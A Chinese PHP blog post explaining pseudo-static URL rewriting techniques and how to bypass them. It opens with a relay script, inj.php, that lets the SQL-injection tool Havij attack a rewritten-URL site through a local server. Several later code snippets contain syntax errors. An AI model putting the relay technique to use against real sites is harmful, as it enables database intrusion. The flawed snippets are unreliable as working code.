PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
PHP环境搭建最新方法
Sep 05 PHP
php ftp文件上传函数(基础版)
Jun 03 PHP
PHP测试程序运行时间的类
Feb 05 PHP
php使用百度天气接口示例
Apr 22 PHP
完整删除ecshop中获取店铺信息的API
Dec 24 PHP
php发送与接收流文件的方法
Feb 11 PHP
教你在PHPStorm中配置Xdebug
Jul 27 PHP
给PHP开发者的编程指南 第一部分降低复杂程度
Jan 18 PHP
PHP使用内置函数生成图片的方法详解
May 09 PHP
php 使用curl模拟登录人人(校内)网的简单实例
Jun 06 PHP
PHP操作Postgresql封装类与应用完整实例
Apr 24 PHP
PHP二维数组分页2种实现方法解析
Jul 09 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
example2.php
2006/10/09 PHP
Apache服务器无法使用的解决方法
2013/05/08 PHP
浅谈PHP正则中的捕获组与非捕获组
2016/07/18 PHP
Laravel框架学习笔记之批量更新数据功能
2019/05/30 PHP
PHP 对象接口简单实现方法示例
2020/04/13 PHP
JQuery实现点击div以外的位置隐藏该div窗口
2013/09/13 Javascript
javascript对话框使用方法(警告框 javascript确认框 提示框)
2014/01/07 Javascript
jquery选择器排除某个DOM元素的方法(实例演示)
2014/04/25 Javascript
用javascript将数据导入Excel示例代码
2014/09/10 Javascript
javascript解三阶幻方(九宫格)
2015/04/22 Javascript
javascript设计简单的秒表计时器
2020/09/05 Javascript
基于jquery实现的仿优酷图片轮播特效代码
2016/01/13 Javascript
浅谈javascript的call()、apply()、bind()的用法
2016/02/21 Javascript
ExtJS 4.2 Grid组件单元格合并的方法
2016/10/12 Javascript
jquery与ajax获取特殊字符实例详解
2017/01/08 Javascript
JavaScript在控件上添加倒计时功能的实现代码
2017/07/04 Javascript
JavaScript重复元素处理方法分析【统计个数、计算、去重复等】
2017/12/14 Javascript
Vue项目全局配置微信分享思路详解
2018/05/04 Javascript
对vue 键盘回车事件的实例讲解
2018/08/25 Javascript
JS+canvas五子棋人机对战实现步骤详解
2020/06/04 Javascript
[02:22:36]《加油!DOTA》总决赛
2014/09/19 DOTA
[03:24]CDEC.Y赛前采访 努力备战2016国际邀请赛中国区预选赛
2016/06/25 DOTA
[47:04]EG vs RNG 2019国际邀请赛小组赛 BO2 第二场 8.16
2019/08/18 DOTA
从源码解析Python的Flask框架中request对象的用法
2016/06/02 Python
详谈Numpy中数组重塑、合并与拆分方法
2018/04/17 Python
对python中矩阵相加函数sum()的使用详解
2019/01/28 Python
Python实现子类调用父类的初始化实例
2020/03/12 Python
Lulu Guinness露露·吉尼斯官网:红唇包
2019/02/03 全球购物
Lentiamo荷兰:在线订购隐形眼镜、隐形眼镜液和太阳镜
2019/10/25 全球购物
建筑人员岗位职责
2013/12/25 职场文书
优秀老员工获奖感言
2014/02/15 职场文书
授权委托书格式范文
2014/08/02 职场文书
团员年度个人总结
2015/02/26 职场文书
Python编程super应用场景及示例解析
2021/10/05 Python
星际争霸:毕姥爷vs解冻03
2022/04/01 星际争霸
Python可视化神器pyecharts绘制地理图表
2022/07/07 Python